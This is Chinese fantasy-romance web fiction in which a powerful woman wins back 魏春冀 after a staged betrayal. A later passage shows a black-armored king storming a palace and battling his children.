一场说走就走的旅行,路途中最重要的景点是他的家,而终点我还尚未知晓。这一次与他见面,将是决定我们未来的一次,仅有的一次。我不会再选择压抑这份爱,但我不会执拗地左右他的选择。这是出于对他的尊重。若他选择离开,我将永远失去他这位小天使,成为感情上的败者、弃女;若他选择留下,我愿不顾一切地去爱他,尽管那会让我背负骂名与指责,我会让我们都如愿以偿。勇敢地、不顾一切地去爱,那正是我们两人一直以来都需要的...... 我和大兵哥一同前往魏春冀的住宅。到了地方,由我打开魏春冀家的房门。凭借首脑装备,我轻松打开了魏春冀家的门。刚一开门,我就看到魏春冀站在门后四五米处,向我们投来了饱含敌意的眼神。魏春冀一只手背在身后,点点微光暴露了他,他手中正拿着灵魂刀锋。大兵哥见他这样,飞速地抽出义手刀,准备随时可能发生的战斗。我们两方彼此注视,曾经相处时的融洽已然被敌意与陌生替代。空气凝固了刹那,屋内有了几分火药味。我用温柔的目光看着他,他用恐惧且憎恨的目光看着我们。 突然,他眉头一松,放下了手,那把灵魂刀锋也顺势化成了光粉飘散。大兵哥顺势收起了义手刀,背起手来进入警备状态。我露出一抹和善的微笑,当着他的面解除了首脑装备,让自己的战斗力瞬间减低到普通人水平。我说: “魏春冀,我们可以聊一聊吗?” 魏春冀紧绷着脸,一脸不情愿的样子。他用敌意的双眼看着我和大兵哥,迟迟不动弹。我见此明白他的用意,于是吩咐大兵哥出去,让我独自来面对他。大兵哥出于担心劝我让他留下,可为了安抚魏春冀受惊的心,我必须让大兵哥出去。大兵哥见我意愿如此,也便顺了我的心意,离开了房间。 现在房间内只剩下我和魏春冀,接下来是我能否留住他的最后机会。我和魏春冀四目相对,我尽可能多地表现出最温柔的那一面来,尝试用真情融化他冰冷的内心,就像他曾经一样。这时魏春冀抽出灵魂刀锋,嗖的一下,刀锋划过我的眼前,我本能地伸手去挡。这一刀并未打中我,只是一种试探。灵魂刀锋消散,他确认了我的安全性。他缓缓开口,说: “如果你有事的话,请坐在沙发上,我们可以谈一谈。” 见他同意,我非常开心。随后我和他坐在老式沙发上。刚坐下没多久,他意识到了什么,起身去沏了一壶茶,又给我和他自己倒了一杯茶,以示对客人的尊重。我见他这样,不禁有些感动。即便我伤他这么多,他竟还能这般对待我,他是真的善良呀!虽然是普普通通的绿茶,但喝起来比名贵茶品都爽口。我喝了一口茶,放下茶杯的瞬间,他问我: “说吧,你来是为了什么?” 我诚挚地告诉他: “魏春冀,我是来带你回去的。” 他摇摇头,语气强硬地拒绝道: “不!我绝不会再回到那个地方。” 我用温柔的口吻告诉他: “请听我解释,好吗?我们之间有许多的误会。” “误会?你觉得还能有什么误会呢?事实都摆在眼前了,你将我视作工具人,雇人除掉我这个局外人。见我没死成,就派刺客来追杀我,追杀不过就想把我带回去继续利用,说是为了带我回去,实则还是把我当工具使唤。” “非也。你中了敌人的计了,魏春冀。敌人倒戈了我们内部的特工汉姆,那个特工奉敌人之命前来暗杀你,就是为了挑拨你和我们之间的关系,好让他们东山崛起时能少个阻碍。” “说的很完美,可我该怎么确定它是真的?” “你可以拿走我的灵魂。我愿用我的生命向你保证!” “嗯?” “你不是对灵魂最为了解的吗?那你肯定还会读心术。若我撒谎,你可以捏碎我的灵魂,我不会怪罪于你,我也不会让任何人因此伤害你。” “你认真的?” 我点了点头。他见此,稍稍有些动容,他紧皱着的眉头松弛了些。他伸出手用神奇的力量将我的灵魂从我体内拽出,一把拿在手里。两条金色的丝线连接我的肉身,那是灵魂与我肉身的链接部分。现在只要他无情地一拉,扯断这两个丝线,我就会瞬间毙命。我将生命交到了他的手中,我不后悔这个决定。接下来无论他做了什么,我都会心安理得地接受,我不再会逃避我心中的真实。我从所有方面承认他是我挚爱。 金色的光芒照亮屋内的每一块地方,也照亮了我和他的心房。我的灵魂所散发的光彩如太阳一般耀眼、如星辰一般璀璨,它的每一寸光芒都是美丽动人的,那是生命的光辉,那是魂灵的诗歌,那是属于我的光明。 有了最大筹码,他与我谈话更加顺利了一些。他握住我的灵魂,对我说: “请你拿出证据。” 他是在故意刁难我,我听后有些生气,但依然选择温柔对待他。我拿出手机,将汉姆招供时的录音放给他听。听完录音后,他轻轻叩了叩首,似乎是相信了我的话。见他相信了我,我不禁露出一抹微笑。我告诉他: “魏春冀,事情真的不是想的那样表面。你也听到了,是我们的敌人想要让我们决裂呀!你对于我来说至关重要,没有你的帮助我根本走不到今天这一步。我们敌人正是看到了这一点,才会下此阴策。” 他思索了一会,有些忧心忡忡地问我: “你确定你没有骗我?” 我告诉他: “我不会欺骗你的,没有理由更没有必要。我与你之间的羁绊告诉我你是可以绝对信赖的人。” 他想了想,姑且相信了我。他问我: “那既然如此,为何还要派人来追杀我?为何要杀掉我表哥和我嫂子?他们明明是无辜的。” 我一惊,没想到我们的敌人竟然会使用这种阴险的招数!唉,真是苦了魏春冀,一个局外协助者竟然遭此报复,属实是可怜。我告诉他: “我们并没有这么做,没有理由也更没有必要。我推测,这也是敌人计划的一部分。因为只有将这样的暴行强加在我们头上,你才会如此憎恨我们,所以你才会跟我们决裂。这正是敌人想看到的结果。” 他想了想,事情这么解释倒很合理,但他还是有些恨意。他又想了一会,我看到他眼中的那些恨意消散了,我猜是他想明白了。他又问我: “即便正如你说的那样,都是敌人计划。可说实在的......你告诉这些又有什么用呢?” 我沉默了。他继续说: “我表哥和我嫂子已经死了,我也失去了一条命,我拥有的那些爱都已经逝去。我身上还背负了一道无法消去的死亡咒痕,这是我的特殊能力带给我的诅咒。它夺去了我的死亡,也夺去了我的那份阳光、那份纯真......” 他抬起左手,在我面前摘下了手套,亮出了他的改装义手。他动了动手指,僵硬的动作,迟钝的关节,冰冷的指尖,毫无活力可言。他告诉我: “我还失去了这只意义非凡的左手。它是我技艺的唯一展现,也是我与你沟通的桥梁。如今它已经消逝,我也没了弹奏的手段。是它将我送到了你的世界,也是它将我带回了一切的起点。” 我能明显感受到他内心的难过与痛楚,我的心也随之作痛。对于他来说,那不仅仅是失去了一只手,他还失去了心中的半边天空。我安慰他道: “没关系,只要你肯再次拿起吉他,无论弹得是否动听,我将还是你那唯一的忠实听众。跟我回去吧,魏春冀。” 他微微握紧了拳头,转瞬间眉头一皱,就撒了手。我能看出他其实是想回到城市的,但出于某些原因他不愿回去,也许他有他的考虑吧。他想了一会后,露出无奈又有些许沮丧的表情,告诉我: “不,我不能回去。” 我问他: “为什么?” 他很直白地告诉我: “对不起,涅小姐。这句道歉我欠了你很久。其实我当初骗了你,我接近你并非是单纯奔着朋友二字。我真实的想法是想成为雨中世界你的那把雨伞,为你挡雨;我想成为你的选择,成为......你的爱人。——你惊鸿一瞥深深吸引到我,我因此爱上了你。” 我也很直白地告诉他: “我知道。所以我今天才来找你。” 他看了我一眼,向我投来惊愕与感动的目光。可紧接着,那目光之中就充满了无奈与沮丧。他接着说: “我一直违心地与你交往,只希望在我能打动你那一刻之前你不会因此拒绝与我的交往。我期待我梦中的那一日到来,我想那一日将是我一生中最棒的日子!可梦终究只是梦,梦一场也该醒醒了。” 他抬头看着天花板,说: “我知道我与你很难搭配在一起,悬殊的地位差距无时不刻告诉我你究竟有多遥远。但我不信!我想创造奇迹。即便有千里我也要奔赴,为了心中所爱。我尝试靠我这双手去提升自我,让自己变得足够强大!即便难以跻身强者队列,但起码那样我起码能触碰到你,只是一下也好啊......” 紧接着他低下头来,无奈地说: “可那只是镜花水月,我也只是飞蛾扑火。——在我与阎王爷打过一次交道后我昏睡了三个月,是爱大哥一直照顾着我。那三个月是我过得最舒服的三个月,我满脑子想得都是你,想着那个虚无缥缈但美好的梦。等我醒了,这梦也碎了。” 他叹了口气,转头看了我一眼后又把头扭过去,继续说道: “我本以为为你付出那么多,我就可以碰到你,我对你的爱就能跨越那座阶级的高墙。可我错了,错的彻彻底底。——爱情是场豪赌,付出是应该的事,不能计较回报,那是爱本该有的无私;赌的人爱不爱都是未知数,先得看彼此之间配不配,后再看真心热不热。可......我赌输了,输了个一无所有还欠了点债。” 他沮丧万分。我见他这般,露出微笑来安慰他道: “不,你没赌输。你赢了。我的芳心被你捕获了,你让我喜欢上了你。我的心只属于你,夜晚的繁星能为我证明。” 他苦笑三声,告诉我: “那都没有关系了。我从现实中深刻意识到了一点,我一直都只是踮起脚眺望你,目光被你深深吸引。可悲的是,我从来没向上攀登过一个台阶,我却误以为我一步步向你靠近。我终究只是个痴情的傻瓜,误认为天上的仙女能为我屈身。可人终究是人,仙终究是仙,是注定无法在一起的。” 我摇摇头,用温柔的口吻告诉他: “不。你若愿意跟我回去,我愿成为你终生的伴侣。” 我本以为这么说他会答应,结果他只是冷笑几声,似乎是在嘲笑原本成熟的我在此刻的幼稚。笑完,他站起身来看着我,突然后退了两步。他用右手指着我,满脸的苦笑疯癫,仿佛知晓红尘宿命。他告诉我: “哈哈哈,涅小姐,这话你不该对着我说。我只是你的协助人,不是你能去选择的人。我只是一个匆匆路过的白痴,不值得你去这番留念。” 我不解地问他: “此言怎讲?” 他告诉我: “你难道不知道吗?你是高贵的小姐,是尊贵的首脑大人,是出身涅家这一大家族的才女,是都市上那漫天星河中的一颗星。你出身富家,既有地位又有力量,还有难以想象的权力。你这样才华横溢、貌美如花,又如星一般的女人,只该嫁给同样是富家出身的才子们,而非我这个一穷二白的普通人。做出正确选择吧,涅小姐。因为只有那样,你的婚姻才会被人祝福,你的爱情才能天长地久,你的生活才是最幸福的!” 我感觉心如刀绞,痛苦顺势爬上我的脊背。他笑了笑,继续说: “你什么都有,而我什么都没有。你一句话就能呼风唤雨,而我哭天喊地都无济于事。你要什么就有什么,而我要用我的梦想、快乐、自我去换,还要搭上我的一切。你我不是一路上的人,只是见面都是越界的行为啊!” 我想开口安慰他,可欲言又止。他激动地继续说: “你以为我和你回去会过上快乐的生活?错了!我去你那里只能屈辱地当你的宠物,成为别人口中的‘小白脸’、富婆包养的‘小狗男’。哈!如果那样我这一辈子算是白活了,没有尊严地活着,我还不如死去。我可不想丢我在黄泉之下的父母的脸面!即便平凡我也要有尊严地活着!” 我实在是按奈不住,就开口安慰他道: “我不会让你变成那样,我会让你风风光光的,不会丢叔叔阿姨的脸面的。他们会为你骄傲的!” 他摇摇头,苦笑着说: “不,你错了。我爱不了你,也没法跟你回去,你知道为什么吗?因为我不是你这样的强者!我他妈什么都没有!地位、金钱、长相......要什么我没什么;我就只有一颗啥也没用的、纯洁的心灵,还有那一点骗人的才艺!哦,对了,那才艺现在没有了,我的左手已经废了......——我这样的男人你没有任何必要去选择,这世上总有比我更好的男人在等着你。选择他们,那一个不比我强?” 我说不出话来,因他心疼得流泪。回望昨天,我们还是一对无话不谈的好朋友,可今天他却变了个样子,我认不出他是当初那个心善又正直的阳光男子了。我能明显感觉到他心中的绝望,那份如深渊一般吞噬人的心灵、撕碎人的希望的绝望。我多么后悔当初的犹豫不决,要是我在感觉到他的那份真挚的爱时就能选择伸手,也许我们现在就是一对真心相爱的恋人。激动过后,他叹了口气,说: “我为你牺牲太多了,我不想再坚持了。我的生活已经毁掉了,我的梦想也破碎了,我的信仰也崩塌了。我爱的人们都离开我了,就只剩我孤苦伶仃一个人了。我曾渴望你的回眸,希望我奔赴你的时你也能来奔赴我,哪怕你只是迈一步也好。可惜不会有那一天了,我早已没了爱你的资本。你高不可攀,我也只能眺望。” 他用一种和善的眼神看着我,眼神里虽有不舍但多是祝福。他说: “你已经是别人的爱妻,与我无缘了。你步入了光明大道,有了事业又有了爱人,现在只差一场浪漫的婚礼和一段幸福的婚后生活,那样你的一生就圆满了。算我曾经爱过你一场,作为朋友,我在此向你送上真挚的祝福——祝你幸福,涅琉妮雅。我该兑现我当初的诺言,还你一片清净了。” 他再次坐在沙发上,喝了一口茶水。温茶下肚,他的眼角泛起泪花。我同他一样,不过我比他更难过,我现在正压抑着心中的感情,忍住眼角即将奔流而下的泪水。他冲我露出一抹灿烂的笑,和当初一样,不过当初是见面时,而现在是告别时。泪悄悄流下,如冰川融水般流出我的眼角。他见我流泪,向我递来两张纸巾,并温柔地说: “擦擦泪水吧,涅小姐。就是告别也不必落泪,笑起来吧,哭可就不美了。我们是笑着见到彼此的,那么就笑着告别彼此吧,有始有终啊。” 我接过那两张纸巾擦了擦泪水,即便心灰意冷,他的善心仍依旧。我控制了下情绪,让大脑别被悲伤所影响太深。调整过来后,我告诉他: “魏春冀,我和他只是尝试相处了三个月就分手了,你知道这是为什么吗?因为那一阵子我因为失去了你而空虚,那时我和所有人都以为你死了!我尝试通过爱情来填补这份空虚,可惜他不是我的最佳选择,我的心反而因此更加空虚。如今我知道你还活着的消息,那份空虚才被填补上。因为你是我世界不可或缺的一份子,我的世界因你而丰富多彩,你是我唯一的、最佳的选择。” 他一脸惊讶的样子,有些难以相信我说的话。在他的印象里,我一直都是高冷且不善表达的女生,如今突然表露心意,他有些猝不及防。我继续说: “你虽平凡但却是我眼中仅有的独特。你创造的价值远比你拥有的多,这番创造力是你的最大魅力,也是我选择与你成为朋友的理由。你带给我的欢乐是无与伦比的!那些欢乐无法用金钱比拟、无法用尺度衡量,而且非常独特,只能由我用心一点一滴地感受。我想留住这份欢乐,也想留住你。” 他诧异地望着我,眼神里是藏不住的激动与无奈。我的话语触及到他的内心,他有些为之动容,可我距离触碰到他还有很远的距离,尽管我们正面对面坐着。我见似乎有所动容,继续说道: “那些富家子弟虽然绝大多数方面都远超于你,但你在我眼中仍然是最棒的那个男人。你拥有他们都没有一样秘宝——那就是你这颗纯洁且善良的心灵。它令我感到敬畏、欣赏、爱慕。它向我送来真爱,送来你最质朴、最纯洁的心语,让我知道你就是我可以绝对信赖的那个男人。” 他沮丧地说: “很可惜,在当今这个时代,那一文不值。” 我含蓄片刻,告诉他: “正因如此,它才愈发宝贵。——无价的东西往往是最为珍贵的,就像文化和艺术,它们以物质方式体现,以精神内涵存在,虚与实的结合才促成如今它们多姿多彩。——我一直铭记着一句真理:无论那个时代,善良永远是人最珍贵的品质。发自内心的善、不计利益的善、纯洁如雪的善,就是如黄金一样的珍贵。拥有这份善良的人,是比金玉珠宝都要珍贵的。” 他淡淡的一笑,似乎是欣然接受了我的话。不过他的表情当中还潜藏着深深的忧虑。透过他些许暗淡的眼眸,我看到他的内心正在打仗,是矛盾于选择,是他又一次为我动容。我注视着他,紧张又期待着他接下来的选择。总是愿意决定一切的我,头一次体会到被别人决定的滋味。他犹豫一会后,深情地对我说: “我很感谢你向我表达了心意,涅琉妮雅。但很可惜......我不能随你的愿。我们之间有着戒律、规则,它是我们彼此都无法逾越的高墙。” 我尝试辩解道: “可是......” 他打断我,自顾自地说: “你是高层不可多得的星,我就是基层的平凡人,若我们相爱,那即是对高层社会的亵渎。门当户对远胜过青梅竹马,这是时代中不变的真理。你有你的腾飞,我有我的奔走,我们并不同路。” 一瞬间我的情绪有些激动,我飞速收住到嘴边的话。等片刻后我冷静下来,我用温柔的语气告诉他: “不,高洁的爱无论哪个时代都存在,它一直都在。它只是被世俗埋没,需要人将它挖出,就像黄金出自荒土。” 他静静注视着我,我也注视着他。透过他微微发颤的眼眸,我看到绝望之中出现了一点希望,似黑夜中燃起的篝火。对视片刻后,我深情地告诉他: “你曾相信你的爱能跨越阶级,你说你让我领会到你对我的真心。你将它视作执念,不断追寻着它,它是夜空中最亮的星指引你前进。你离成功只差一步了,却自废这份即将绽放的花蕾,功亏一篑。你现在放弃这份执念,选择向现实妥协,认为世俗才是你最佳的归宿。但你错了,大错特错,这是你最大的谬误!你有所不知,你让我着迷的原因之一,就是你不肯向现实妥协的意志。” 他静静听着,此刻的表情有些失落。我继续说: “我从见到你的第一眼开始,我就知道你是喜欢我的,可我那时并不认为我会喜欢上你,因为我的追随者众多。直到你的毅力与勇气促成了你的成长、善良与正直促成了你的魅力,我才说服自己,用一个简单的理由选择接纳你来到我的世界。我傻傻地以为你是个贪婪的掘金者,想在我身上发掘黄金;结果你是个正直的篝火者,要在我心房点燃不灭薪火。” 他惊讶地望着我,一脸受宠若惊的样子,深感震惊的同时又有点欣喜。藏不住的真情实意,总是他的眼在我耳旁说起悄悄话。见他这幅模样,我赶紧酝酿下情绪,然后将压抑许久的真情倾诉而出。我深情地告诉他: “等我意识到我爱上你的时候,我已经在不知不觉中爱你多时了。只是高冷的我不愿表达,我讨厌所谓面子的问题,它让我迟到了!” 此刻,他心中的各种情绪都到达了顶点,他冰冷的内心再次有了温度。他向我投来诧异中饱含感动与激动的目光,他在无言之中又用心悄悄接受了我的话。见到他这样,我感觉胜券在握,不禁暗暗在心里欣喜起来。我突然做出沮丧的表情,继续告诉他: “只可惜没等我为你送上这份真挚的爱,我就知道了你死去的信息。我那时以为你死了......是我没收集好信息,才让我犯下了那些愚蠢的错误。我在此以涅琉妮雅之名向你致歉,还愿你能够接受我的歉意。” 我从未像现在一样让心自由抒发情绪,这是我为数不多的任性。他在听了我的话后冲着我抿嘴一笑,我也用笑容回应他。我偷偷流了两滴泪,不过这次是感动的泪水。他一笑泯去恩仇,无形中体现他宽广的胸怀,像个大丈夫一样。那一抹笑彻底消除他身上所有的敌意,他的形象在我眼前又亲切了起来。他淡定地告诉我: “既然误会解除了,那都没关系了。” 见他这般,我趁势补攻,说: “这就是我想告诉你的一切。——请你和我回去吧,魏春冀。” 可突然,他的笑容转瞬即逝,进而忧虑再度浮现在他的脸上。他突然松开握着我灵魂的手,将我的灵魂归还。他一脸无奈地望着我,叹了口气,说: “我累了,不想再争那些不切实际的了。我的爱已经枯竭很久了,如荒漠也如戈壁,我没有多余的爱能够再付出了。我不想再赌上一切参加那可恶的权力游戏,也不想再被人利用、陷害,我只想好好过好自己的生活。诅咒、力量、感情......我已经迷失它们之中,找不到当初的自己......我不想再失去了,能留住当下我已经知足。我不敢再奢求任何东西,我几乎快失去了一切。” 他沉默片刻,我也跟着沉默。过了一会,他阴下脸来,告诉我: “所以......请你离开吧,涅小姐。” 我对他露出甜蜜又温柔的笑容,并诚挚地告诉他: “我愿意给你机会。只要你回来,我的心就只属于你。” 他冷冷地说: “你没必要意气用事。——我们彼此都需要冷静。” 我站起身来,笑着告诉他: “我会等你的,魏春冀。等你回来......” 他没说话,低着头凝思。我缓步走向房门,他偷偷用余光瞄着我,过一会抬起头目送我离开。走到房门处,我回身向他告别: “再见,魏春冀。希望......这不是永别。若是永别,那祝愿你以后能过得幸福、快乐!” 我向他挥手,他也向我挥手。离开前,我依依不舍地注视他片刻,凄怆之情又一次用上我的心头。我面前是如迷雾一样的未来,那是我迫切想解开的疑团。我情不自禁地又向他告别一次。 “再见......” 他露出一抹和善的笑容,和善地说: “还有,路上小心。” 之后,我便离开了他的家,离开了他...... 几天后,我安插在敌人内部的超级间谍爱德华向我发来一份乔治势力内部的加密文件,爱德华即将完成他的潜伏工作。经解密,那份加密文件是一个名单,名单上列着集团内部叛徒的名字,每个叛徒的罪行都列在了他们的名字后面。那些叛徒所做的行为让我勃然大怒。 他们犯下的罪行有:在接应时暗杀魏春冀、暗杀魏春冀的亲信、全力封锁魏春冀的信息传达渠道、在魏春冀母亲病重时封锁他的银行账户、借着工作的名义伤害魏春冀等。 他们犯下的罪行证明我的猜测是正确的,他们的确想要让我和魏春冀决裂。罪恶感再次爬上我的脊背,我觉得我非常对不起魏春冀。只是因为我工作上的疏忽,就致使无辜的他遭受到这样深重的伤害,他恨我是应该的!得恨,得使劲去恨。我犯下的错误是我这一生最大的耻辱,它比输掉一切还有让我羞耻! 我派大兵哥处理掉了集团内部的叛徒,顺带打击了一下那些参与残害魏春冀的敌人们。在处理完一切后,罪恶感仍然存在,我还亏欠他一样宝贵的东西,我必须找时机交给他。 一个月后...... 在一个晴朗的夜晚,皓月当空,天空中群星密布,我看着天上的繁星,心里久久不能平静。我走上熟悉的道路,来到熟悉的老地方散步。这个地方充满回忆,是个环境不错的地方,靠着河又邻近城市主干道,地理位置很棒,交通十分便利,景象也很不错。工作之余可以来这里散散步,休养下疲累的身心也是很不错的。我偶尔在闲下来的时候就在这里散心,在这里散步的感觉有种说不出的美妙,我喜欢在这里散步的原因正是如此。 我边散步边欣赏路旁的美景,一时之间留了神,又想起了魏春冀。我很想知道他今天身处何方,是不是同意我的请求?是离开这里还是留下?都是疑团,等待时间告诉我答案。正当我深思之时,我又一次听到了吉他声。我顿时欣喜若狂,我知道那声音意味着什么。我立即抛下脑中的一切事物,循着吉他声快步前进。我就像一个寻宝猎人一样,迫切地在寻找珍贵的宝藏。不过那份宝藏不是金币与宝石,而是一个珍贵的人,一颗等待着我的高尚灵魂。 我心想: “是他!真的是他吗?!他回来了?太好了!我是在做梦吗?不管了,赶快!我迫不及待要见到他了。” 我来到老地方中的老地方,在熟悉的长椅上我又一次见到了魏春冀。他拿着当初那把木头吉他,用笨拙的左手练习弹奏。他一脸苦恼的样子,似乎是失望于自己琴艺的退步。我被喜悦冲昏了头,一时间愣在原地不知所措。我笑了,笑得格外灿烂、格外甜美、格外开心。我大声叫出了他的名字。 “魏春冀!” 他抬起头来,见到我的瞬间露出微笑,向我问好。我们的位置与我初次见面时的一样,仿佛我们都回到了那个时候。这景象我熟悉到不能再熟悉了,我们的故事就是这样的开始的。我的眼角泛起激动的泪花,我赶忙擦擦,怕我控制不止自己的泪水而在他面前失态。我用温柔的口吻对他说: “欢迎回来。” 他放下吉他,站起身来走向我,向我伸出了右手。他露出笑容,告诉我: “很高兴再次见到你,涅琉妮雅。” 我毫不犹豫地一把握住了他的手,紧紧地握住。握过手,我突然给予他一个温暖的拥抱,弄得他有些猝不及防。我就那样紧紧抱住他足足半分钟,那半分钟里我感觉他真正回来了,回归我的生活。拥抱过后,我松开手,擦了擦不经意间流出的泪水。他见我这样笑了笑,我跟他一起笑。笑过,我问他: “魏春冀,你决定留下?” 他点点头,告诉我: “我决定好了,永远留下。既然有理由让我去爱,那我岂能有理由不去爱?” 我眉开眼笑、满面春风,鼓了鼓掌庆贺。高冷的我不小心表露出我真实的那一面,在他面前出了“丑”,引得他发笑。我有些害羞,我意识到我的人设可能在他眼里出了偏差。可实则不然,他竟觉得我的行为是一种可爱。 “许久不见,让我为你弹奏一曲吧。” 他真诚地邀请我道。我嫣然一笑,点头答应了他。不过这次,我并没有坐在他旁边的长椅上,而是坐在了他所坐的长椅上。他见我这样,有些腼腆。我在一旁给他鼓励,在此刻我向他敞开心扉。我们之间的距离几乎为零,不仅是在物质层面,还是在灵魂层面。 他弹起吉他,我在一旁真诚地聆听。尽管他弹得不如以前好听,可在我耳中这就如天府之乐一样动听。在聆听他弹奏的时候,我内心的空虚被幸福所填满,我第一次感受到我的生命是存在着的,我再次听到了我自己内心深处的声音。 他真的是一个魔法师,会无数种令我惊叹的法术。 自那之后,我就向外官宣,魏春冀是我的爱人。尽管我们背后有许多反对的声音,但我们还是幸福地在一起了。我们之前的爱恋不受任何限制,因为爱让我们击碎了那面无法逾越的高墙,让我们这对情人终成眷属。 ...... 听完故事,殇甚是感动。雾中夫人喝了口茶润润嗓子,又擦了擦眼角的泪花,每当回忆起那些美好她总会情不自禁地流泪。雾中夫人向殇恳求道: “殇,恳请你帮我找到我丈夫,将他送回我的身旁。你需要什么报酬我都会给你,只要你可以带他回来。” 殇爽快地答应雾中夫人先前的请求,决定帮他找回爱人。见殇答应,雾中夫人非常感激殇。雾中夫人拿出一把短刀作为谢礼,殇推手拒绝,但奈何雾中夫人太过热情,殇只好收下。殇收下短刀后,雾中夫人嘱咐殇道: “我的爱人现在是一个随时可能发狂的状况,请你务必小心。假若你遇到他发狂,这把短刀能招架他的灵魂斩击与殂谢斩击,这是他唯一的弱点。你务必要保护好这把短刀!顺带一提,这把短刀叫‘紫荆花’。” 殇点了点头。 之后,雾中夫人将殇送回那条他们相见的街。白雾散去,只留殇一人伫立。紫棘花握在殇的手中,一份责任压在殇的心头。名为魏春冀的男人,殇发誓要将他带回雾中夫人身旁,让他们两人团聚。 window.fkp = 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等到了王宫的门口,两位威风凛凛的圣骑士拦住了他。那两位威风凛凛的圣骑士身着金狮子战铠,手持圣盾与圣剑,一副庄重又富有威严的样子。战铠内置多种高科技辅助模块武装,科技与原始技艺的结合,来自右食指的智慧;圣盾内置三元防御模块,能抵御多种多样的攻击;圣剑使用龙辉23型合金制作,内置多种赛博改装,是削铁如泥的宝具,这也是来自右食指的智慧。 金狮子·圣骑士: “你不能进去......” 他没说话。那两位骑士打量了下他,突然之间认出了他。 金狮子·圣骑士: “等等......你是......国王殿下?” 他灵性地点了点头。这两位圣骑士相互对视一眼,他们都觉得面前的国王非常可疑,不敢轻易放他进去。他见这两位圣骑士无动于衷,示意一旁的王城士兵向这两位圣骑士解释。可王城士兵即便解释了,这两位圣骑士仍不肯放他进去,说他过于可疑。无奈他只好亮出黑色刃枪【虚无之枪·凋零】,用极端暴力的方式进入王宫内部了。 金狮子·圣骑士: “你这是作甚?不好......全员听令,准备战斗!” 凋零之龙的龙焰扫过,焚烧阻挡他的所谓“敌人”;他释放出致命的魂气黑羽,前来增援的“敌人”们吸入黑羽后全身散发黑色气焰,接着他们双眼一红、身体一僵,就成了他绝对忠诚的卫士。只是简短的半分钟过去,他就不费吹灰之力,顺顺利利地进入了王宫。他甚至只是杀了三人,就在百十人的围攻下无伤生还,还“感化”了那些围攻他的士兵,可谓是完美胜利。 进入皇宫内部,他打开头盔上的面甲,露出他的真面目。他大摇大摆地领着被黑羽操纵的士兵在王宫内漫步,就像在自己家里闲逛一样悠然。见到他的王宫士兵们陷入迷茫无措的状态,因为他与国王实在是太像了,无论是走姿还是面容都惊人的一致,王宫士兵有理由相信他就是王。可这王看着又有些陌生,王宫士兵们又说不出哪里陌生。王宫士兵不敢轻举妄动,只得看着他大摇大摆往王座之间走。 路过半程,两位身着华丽的管理者挡住了他。肃清者和调律者,这个国家的栋梁,同时也是该国目前的最强战力。在见到他的长相后,肃清者和调律者不由得一惊。他的长相与国王殇几乎一致,不,应该说就是本人。但对比起现在的国王殇来说,他要更年轻一些,似乎正处于壮年时期。 肃清者: “父......父皇?为何您会出现在这里?” 调律者: “义父大人,你怎会这般唐突的出现?” 他见到这两人前来拦路,嘴角微微上扬,这正巧合了他的心意。他拍拍手,让身旁围着的王宫士兵都离开,只留下他们三人。他深情地说: “好久不见,我的子女们。” 等士兵们走完,他微微一笑,伸出手来,唤出神兽凋零之龙在自己身旁。凋零之龙幻化成人形,一个高大帅气的卫士出现在他的身旁。 黑羽(凋零之龙人形): “挚友......” 黑羽看向肃清者和调律者。 黑羽: “这就是公主和王子吗?果真如你说的一样......王之栋梁啊!” 他拍了拍黑羽的肩膀,黑羽转过头冲他笑了笑。 黑王: “左右无名指啊,朕留下的火种啊,你们无愧于朕的细心培养,是朕的骄傲。能见到你们这样鞠躬尽瘁,朕甚是欣慰。” 黑王变出了虚无之枪,将其紧紧握在手中。 黑王: “但是道义在先,一码事归一码事。所以......” 黑王将虚无之枪切换到斩杀模式,黑体红纹的外置剑刃安装在枪头上,虚无与光明交织在一起,点燃混沌的烈焰,在剑刃上猛烈燃烧。阴冷的凋零之息弥漫在周围的空气当中,象征死亡的白光照亮长廊。 黑王: “归顺我的意志吧!澪、创蓝,我亲爱的子女们。” 这时,肃清者看出了端倪。 肃清者: “等等......你不是父皇!父皇沉睡在王座之间,许多年间未曾出来过一次。你定是冒牌货,是前来毁坏我们的王国罢!” 此情此景,肃清者立即开启核心,进入到备战状态。十只规则之手在背后张开,绝对领域覆盖整座王宫,一切规则都掌握在她的手中,看样子她要动真格的了。调律者见状,也跟着进入战备状态。无数波涌之刃汇聚成剑刃光环环绕在他的背后,又汇聚成一红一蓝两把巨刃,他紧紧握在手中;铭刻着神圣碑文的幻影石碑悬浮在半空之中,周围的重力开始异常。 肃清者: “入侵者,无论你是为了什么,我今天都要将你肃清!” 见自己的子女极度不配合,黑王也不吝惜过去的那些感情,顿时进入了战斗状态。对于他来说,成就大业可比儿女情长要重要。 他从空气之中抽出一把紫蓝渐变色的无镡之刃,无垠大地的磅礴力量蕴含在其中。这是十几大恒律太玄之一的元始大地王的Emw,名为始源之枪;这是他无数战绩中令他最骄傲的十大战绩之一,也是他强大实力的象征。不过可惜,他和大地王只是切磋至平手就草草结束了战斗。他的实力距离能弑杀恒律太玄还差很多,但杀死半神、天河七星之类的存在对他来说是不在话下的。 黑羽见黑王如此,立即幻化成黑色魂气,回归黑王体内。纯净的始源之枪上燃起象征凋零的黑焰,看似墨水倒入清水。黑王的背后出现两对黑羽龙翼,令人窒息的压迫感袭来,肃清者和调律者感到来自灵魂深处的恐惧。 黑王: “很久没这样过了。与自己的子女切磋武艺,曾是令我这个父亲感到快乐的事情。如今再度拾起当初的那份无名的欢喜,真是令人既欣慰又热血啊!” 黑王激活核心,人间之终末显现在他的背后。这时,他的耳旁传来至重之人虚弱的低语。 “又要向所爱之人挥刀了吗?命运可真是无情呢。恳请别杀死他们,‘我’不想再失去任何一个朋友了。‘我’失去的已经太多了,虽麻木但仍有情,始终畏惧失去。——光,时刻守护在你的身旁,请铭记你不是一个人在战斗。” 他露出笑容,紧握着的手稍稍松弛。他轻声回应她: “放心,我绝不会再让悲剧重现的。” 说完,黑王先手出招,战斗一触即发。 即便是应对两个国家之梁,黑王依然能保持王者风范,不愧为王之名。他无时不刻都在以绝对实力差距碾压对手,不过国家之梁毕竟是巅峰上的人物,黑王也难免在交锋中陷入危机。但奈何王终究是王,危机总能及时化解。 肃清者和调律者招数华丽又实用,招招都是致命技,这不允许黑王出现太多失误。但不巧的是,黑王技艺可是举国仅有的强大,无不令他们瞠目结舌。不仅闪避、招架、防御架势样样精通,而且见招拆招、识破、反制等技艺也达到了出神入化的境界。他们很难对黑王造成实质性伤害,最多也就是让黑王踉跄一下。 